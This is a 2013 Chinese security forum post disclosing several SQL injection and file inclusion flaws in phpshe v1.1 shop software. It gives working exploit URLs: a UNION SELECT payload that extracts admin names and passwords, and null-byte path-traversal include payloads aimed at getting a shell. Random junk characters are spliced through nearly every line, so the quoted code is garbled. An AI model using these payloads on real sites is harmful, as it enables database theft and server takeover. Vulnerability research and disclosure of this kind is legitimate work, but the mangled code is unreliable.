找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2582|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/% G/ S6 {& `6 e2 p+ E
/* Phpshe v1.1 Vulnerability
# B: b. R/ k! ^( D/* ========================7 A+ n, ?  h! g4 d9 o
/* By: : Kn1f37 ?, Y- ~7 U& f) B: T5 d' k' u
/* E-Mail : 681796@qq.com
5 m* A6 b! X& T/*******************************************************/
, {. `+ t7 ~' x/ ?" C0×00 整体大概参数传输, @; m+ L4 E( b4 v% |0 y/ L5 Z

( B9 S4 L( i3 t  \3 S9 B) [
( T' J7 n3 D; @, j2 T: s

0 ^) @  M' T: x; y0 M//common.php
; t6 W) V% |" _  ?if (get_magic_quotes_gpc()) {, [: E# I5 U! Q6 t. P+ O, ?
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');6 [- Q; a4 z  N( h4 I* `
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');$ `1 ~8 f& Q! A
}
, g$ h& ^4 {: r; U! ~else {  u' k, `7 E/ ?" Y/ B, n4 Q# w
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
$ Z+ t& t8 p( V) g1 R  V( L!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
- U9 B) z8 l, \$ _1 a}
, L: x& r8 ~- k6 z. g3 ]# O! X) Usession_start();
  q7 f5 |( U5 _9 N7 H!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');) s6 B8 H& N4 Z
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
/ }# H! k" ~3 f7 i* k1 d
$ {: v' S2 W, H  a8 t0×01 包含漏洞( Y! b+ p5 }- \: H3 F

) z# E5 @. b$ _7 P* ]0 T& Y" `1 ~

( N7 P& ]6 n2 H) K6 E9 Z8 S//首页文件0 c4 a+ `: W! K1 v9 @
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
0 A' q, @  O) }5 Rinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
( G" k- v( F' w7 U0 j' }7 `pe_result();7 w: Z4 q" g% E! `: C
?>
# o5 o; s# O! K//common 文件 第15行开始
5 s0 n& I0 y$ |4 h0 F4 g0 S, N# c. T& Uurl路由配置4 r& O7 X! F( _( V) u
$module = $mod = $act = 'index';- k! Z! }. j* l
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
, R& u" K. M1 P0 v' f$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);3 d* K  n( t- q: Y, A
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
' p- y5 }6 v( Y3 {" l//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
- v4 E  j: y9 B7 ?8 i! D5 x

+ q. ]3 y2 @! k  [' g7 Z4 l6 L
( D) v6 ?! H, B/ P/ A
0×02 搜索注入
3 n; e. a" X7 I/ \5 ] 5 U0 n/ y6 {- a) T! v' x( S+ ^
<code id="code2">

//product.php文件! o. L/ Q+ k1 `  t# j
case 'list':
( K8 m9 ^( g) M; b7 V9 k3 L2 ?$category_id = intval($id);; A3 L: H0 }% V& N" V5 j
$info = $db->pe_select('category', array('category_id'=>$category_id));
2 U% J5 g$ d: C/ h" U) s3 j//搜索$ |4 M3 O5 }7 g* X# H9 S9 X
$sqlwhere = " and `product_state` = 1";! f6 O8 I& j4 ~$ F, J* b/ I& Q
pe_lead('hook/category.hook.php');
/ n% }! q' E1 E2 D$ O3 ]7 fif ($category_id) {
/ k/ A5 L( ~3 j2 Rwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
0 L' X3 Z' Q3 B2 R7 [  \}
* N  W/ Z1 V4 _, k$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
! a3 c8 C1 q$ o7 U5 Rif ($_g_orderby) {
+ j  N+ ^9 C5 i5 m$orderby = explode('_', $_g_orderby);' K% c* r" z, ?' F4 M8 P5 N) ?
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";3 b' s- g' {+ S% `# y( e9 @
}( }1 Q) ?& I6 b! N: H; }/ S
else {
) g+ G4 w# m2 r) p7 }( f$sqlwhere .= " order by `product_id` desc";
/ o3 ]) M, ?# D}
! P: j& |# P) t* y$ d0 S$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
& h3 S% y3 t2 s//热卖排行/ ^2 a5 R) _" y5 ?( O7 p: D
$product_hotlist = product_hotlist();' o/ i) V$ H3 y# y$ g* a8 d5 Z! I4 f
//当前路径  O+ h/ y) B, w
$nowpath = category_path($category_id);
& S! P& T8 l* f5 c7 _$seo = pe_seo($info['category_name']);
, `4 _' g" D  g' }0 S1 n1 pinclude(pe_tpl('product_list.html'));
; e7 ^/ O$ }- n+ o2 E//跟进selectall函数库# w5 B1 c- E2 M3 c) }) x9 T
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
8 N5 v/ E2 l  L( q: P{, U% b; B: [( z2 z2 z! f
//处理条件语句
: W: F* l% \; W, B$sqlwhere = $this->_dowhere($where);
! _9 K8 {& R% n% z  a( ?return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);* s1 M  i* v6 B( ]' [- g
}
6 ]0 B* K! e" }# g6 m, D% P//exp
# ^- V, k& s- [( Aproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='18 Q/ ?! a! X8 M% A% Q

</code>2 `' x/ j$ D. C1 n2 V# C: ^' v* Z

' f  z0 H' L* V. {" L/ H0×03 包含漏洞2
% a, ]$ K. T7 f+ J+ a
7 ^2 c$ ~; B1 Y: r" s' d6 c<code id="code3">

//order.php

case 'pay':

* n! d/ _5 Y$ E) Q2 w$ E4 P& Y) C
$order_id = pe_dbhold($_g_id);

2 ?8 m& z+ R. Y+ x0 {2 U
$cache_payway = cache::get('payway');

+ Y0 Z, `# i7 V& B# i5 |+ ~
foreach($cache_payway as $k => $v) {

+ ?3 Q# y+ G: ~& L8 h" c
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


. l* K1 U: b0 }/ S! sif ($k == 'bank') {

  d' z5 i3 i; w; {9 }( O0 L4 k
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

4 a) T5 \" b# F( L$ q
}

8 x( N) s# H, g8 h9 x- k
}


8 Y( y! m$ P+ i, _0 P) S$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


2 p+ u$ o. Y& t0 I1 U* ?# f!$order['order_id'] && pe_error('订单号错误...');

, m2 u' l' }+ Z) H( w
if (isset($_p_pesubmit)) {


+ _3 @+ H; p( F5 ^if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


: I6 P& W3 i% _& r0 X; L' _1 O7 _$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

- j) s) L5 D& J. I3 K+ F' L0 y$ K
foreach ($info_list as $v) {

0 H  @! |2 O" L) i
$order['order_name'] .= "{$v['product_name']};";, `1 w0 z0 A) J3 C- C% i# _  L


/ p" n9 U/ P+ [}


7 F2 n. q% v2 Z; S+ A  gecho '正在为您连接支付网站,请稍后...';


& K& {3 |3 M7 J0 N5 x( S' u3 Oinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


$ W. ~( R, [, h* i}//当一切准备好的时候就可以进行"鸡肋包含了"


" d0 b# E7 n' j- g9 G9 h& V2 Aelse {


6 T; W: R: c* E) i" a; mpe_error('支付错误...');

+ B% g  U+ w# G4 S; f
}

2 ]! M0 ?  m$ K" q' N% {* z
}

- J2 H/ k) c* s3 q) f3 x
$seo = pe_seo('选择支付方式');

1 t) r( k( U" I& d& H& H  ?; G; o. V
include(pe_tpl('order_pay.html'));


2 @$ {: v# P3 p( K* }break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code># d; x4 \- S. x. n& r2 S$ h0 v

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表